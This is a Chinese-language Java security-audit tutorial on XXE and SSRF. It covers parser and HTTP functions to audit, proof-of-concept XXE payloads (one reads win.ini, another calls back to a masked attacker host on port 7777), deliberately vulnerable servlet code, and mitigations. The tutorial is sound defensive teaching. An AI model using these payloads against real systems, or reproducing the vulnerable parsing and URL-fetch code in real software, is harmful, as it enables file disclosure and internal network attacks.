JAVA代码审计之XXE与SSRF
一、XXE
0x01 XXE漏洞简介
XXE（XML外部实体注入，XML External Entity) ，在应用程序解析XML输入时，当允许引用外部实体时，可构造恶意内容，导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。Java中的XXE支持sun.net.www.protocol 里的所有协议：http，https，file，ftp，mailto，jar，netdoc。一般利用file协议读取文件，利用http协议探测内网，没有回显时可组合利用file协议和ftp协议来读取文件。
0x02 XXE相关基础概念
XML&DTD
XML （可扩展标记语言，EXtensible Markup Language），是一种标记语言，用来传输和存储数据，而非显示数据。
DTD（文档类型定义，Document Type Definition）的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。
实体ENTITY
XML中的实体类型，一般有下面几种：字符实体、命名实体（或内部实体）、外部普通实体、外部参数实体。除外部参数实体外，其它实体都以字符（&）开始，以字符（;）结束。
1)字符实体
字符实体类似html中的实体编码，形如：a（十进制）或者a（十六进制）。
2)命名实体（内部实体）
内部实体又称为命名实体。命名实体可以说成是变量声明，命名实体只能声明在DTD或者XML文件开始部分（<!DOCTYPE>语句中）。
命名实体（或内部实体）语法：
<!ENTITY 实体名称 "实体的值">
如：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY x "First Param!">
<!ENTITY y "Second Param!">
]>
<root><x>&x;</x><y>&y;</y></root>定义一个实体名称x 值为First Param!
&x; 引用实体x
3)外部普通实体
外部实体用于加载外部文件的内容。（显式XXE攻击主要利用外部普通实体）
外部普通实体语法：
<!ENTITY 实体名称 SYSTEM "URI/URL">
如：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPe root [
<!ENTITY outfile SYSTEM "outfile.xml">
]>
<root><outfile>&outfile;</outfile></root>4)外部参数实体
参数实体用于DTD和文档的内部子集中。与一般实体不同，是以字符（%）开始，以字符（;）结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。（Blind XXE攻击常利用参数实体进行数据回显）
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "Hello">
<!ENTITY % param2 " ">
<!ENTITY % param3 "World">
<!ENTITY dtd SYSTEM "combine.dtd">
%dtd;
]>
<root><foo>&content</foo></root>combine.dtd中的内容为：
<!ENTITY content "%param1;%param2;%param3;">
上面combine.dtd中定义了一个基本实体，引用了3个参数实体：%param1;，%param2;，%param3;。
解析后<foo>...</foo>中的内容为Hello World。
0x03 XXE审计函数
XML解析一般在导入配置、数据传输接口等场景可能会用到，涉及到XML文件处理的场景可查看XML解析器是否禁用外部实体，从而判断是否存在XXE。部分XML解析接口如下：
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
…………0x04 常用测试POC
POC1-外部普通实体
当有回显时，利用ftp协议来读取文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<user><username>&xxe;</username><password>123456</password></user>POC2-外部参数实体
无回显时 利用http协议来发起请求
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY % lltest SYSTEM "http://***.***.***.***:7777/lltest_xxe666">
%lltest;
]>0X05 XXE漏洞代码示例
解析XML的方法越来越多，常见有四种，即：DOM、DOM4J、JDOM 和SAX。下面以这四种为例展示XXE漏洞。
1) DOM Read XML
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String result="";
try {
//DOM Read XML
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(request.getInputStream());
String username = getValueByTagName(doc,"username");
String password = getValueByTagName(doc,"password");
if(username.equals(USERNAME) && password.equals(PASSWORD)){
result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
}else{
result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
}
} catch (ParserConfigurationException e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
} catch (SAXException e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
}
response.setContentType("text/xml;charset=UTF-8");
response.getWriter().append(result);
}2) DOM4J Read XML
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String result="";
try {
//DOM4J Read XML
SAXReader saxReader = new SAXReader();
Document document = saxReader.read(request.getInputStream());
String username = getValueByTagName2(document,"username");
String password = getValueByTagName2(document,"password");
if(username.equals(USERNAME) && password.equals(PASSWORD)){
result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
}else{
result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
}
} catch (DocumentException e) {
System.out.println(e.getMessage());
}
response.setContentType("text/xml;charset=UTF-8");
response.getWriter().append(result);
}3) JDOM2 Read XML
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String result="";
try {
//JDOM2 Read XML
SAXBuilder builder = new SAXBuilder();
Document document = builder.build(request.getInputStream());
String username = getValueByTagName3(document,"username");
String password = getValueByTagName3(document,"password");
if(username.equals(USERNAME) && password.equals(PASSWORD)){
result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
}else{
result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
}
} catch (JDOMException e) {
System.out.println(e.getMessage());
}
response.setContentType("text/xml;charset=UTF-8");
response.getWriter().append(result);
}4) SAX Read XML
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//https://blog.csdn.net/u011024652/article/details/51516220
String result="";
try {
//SAX Read XML
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser saxparser = factory.newSAXParser();
SAXHandler handler = new SAXHandler();
saxparser.parse(request.getInputStream(), handler);
//为简单，没有提取子元素中的数据，只要调用parse()解析xml就已经触发xxe漏洞了
//没有回显 blind xxe
result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,1);
} catch (ParserConfigurationException e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
} catch (SAXException e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
}
response.setContentType("text/xml;charset=UTF-8");
response.getWriter().append(result);
}0x06 XXE漏洞防御
使用XML解析器时需要设置其属性，禁用DTDs或者禁止使用外部实体。
以上例中DOM - DocumentBuilderFactory为例，防御代码如下:
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); //禁用DTDs (doctypes),几乎可以防御所有xml实体攻击
//如果不能禁用DTDs,可以使用下两项，必须两项同时存在
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); //防止外部普通实体POC 攻击
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //防止外部参数实体POC攻击
其它XML解析器的漏洞防御可参考
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java
上述XXE漏洞与防御完整示例代码 已上传Github 详见 https://github.com/pplsec/JavaVul/tree/master/MyXXE
二、SSRF
0x01 SSRF漏洞简介
SSRF(Server-Side Request Forge, 服务端请求伪造)，攻击者让服务端发起指定的请求，SSRF攻击的目标一般是从外网无法访问的内网系统。Java中的SSRF支持sun.net.www.protocol 里的所有协议:http，https，file，ftp，mailto，jar，netdoc。相对于php，在java中SSRF的利用局限较大，一般利用http协议来探测端口，利用file协议读取任意文件。
0x02 SSRF审计函数
SSRF漏洞一般位于远程图片加载与下载、图片或文章收藏功能、URL分享、通过URL在线翻译、转码等功能点处。
代码审计时需要关注的发起HTTP请求的类及函数，部分如下：
HttpURLConnection. getInputStream
URLConnection. getInputStream
Request.Get. execute
Request.Post. execute
URL.openStream
ImageIO.read
OkHttpClient.newCall.execute
HttpClients. execute
HttpClient.execute
……0x03 SSRF漏洞代码示例
1) HttpURLConnection
//HttpURLConnection ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //发起请求,触发漏洞
String inputLine;
StringBuffer html = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
System.out.println("html:" + html.toString());
in.close();2) urlConnection
//urlConnection ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //发起请求,触发漏洞
String inputLine;
StringBuffer html = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
System.out.println("html:" + html.toString());
in.close();3) ImageIO
// ImageIO ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
BufferedImage img = ImageIO.read(u); // 发起请求,触发漏洞4) 其他
// Request漏洞示例
String url = request.getParameter("url");
return Request.Get(url).execute().returnContent().toString();//发起请求
// openStream漏洞示例
String url = request.getParameter("url");
URL u = new URL(url);
inputStream = u.openStream(); //发起请求
// OkHttpClient漏洞示例
String url = request.getParameter("url");
OkHttpClient client = new OkHttpClient();
com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
client.newCall(ok_http).execute(); //发起请求
// HttpClients漏洞示例
String url = request.getParameter("url");
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
HttpResponse httpResponse = client.execute(httpGet); //发起请求0x04 SSRF漏洞防御
1）限制协议为HTTP、HTTPS协议。
2）禁止30x跳转。
3）设置URL白名单或者限制内网IP。
4）限制请求的端口为http常用的端口。
以上例中HttpURLConnection为例，防御代码如下:
String url = request.getParameter("url");
if (!SSRFHostCheck(url)) {
System.out.println("warning!!! illegal url:" + url);
return;
}
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
httpUrl.setInstanceFollowRedirects(false); //禁止30x跳转
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
……………………
public static Boolean SSRFHostCheck(String url) {
try {
URL u = new URL(url);
// 限制为http和https协议
if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
String uProtocol = u.getProtocol();
System.out.println("illegal Protocol:" + uProtocol);
return false;
}
// 获取域名或IP，并转为小写
String host = u.getHost().toLowerCase();
String hostwhitelist = "192.168.199.209"; //白名单
if (host.equals(hostwhitelist)) {
System.out.println("ok_host:" + host);
return true;
} else {
System.out.println("illegal host:" + host);
return false;
}
} catch (Exception e) {
return false;
}
}上述SSRF漏洞与防御完整示例代码 已上传Github 详见 https://github.com/pplsec/JavaVul/tree/master/MySSRF
参考
https://xz.aliyun.com/t/1633
http://rickgray.me/2015/06/08/xml-entity-attack-review/
https://github.com/c0ny1/xxe-lab/blob/master/java_xxe/src/me/gv7/xxe/LoginServlet.java
https://joychou.org/java/javassrf.html
https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java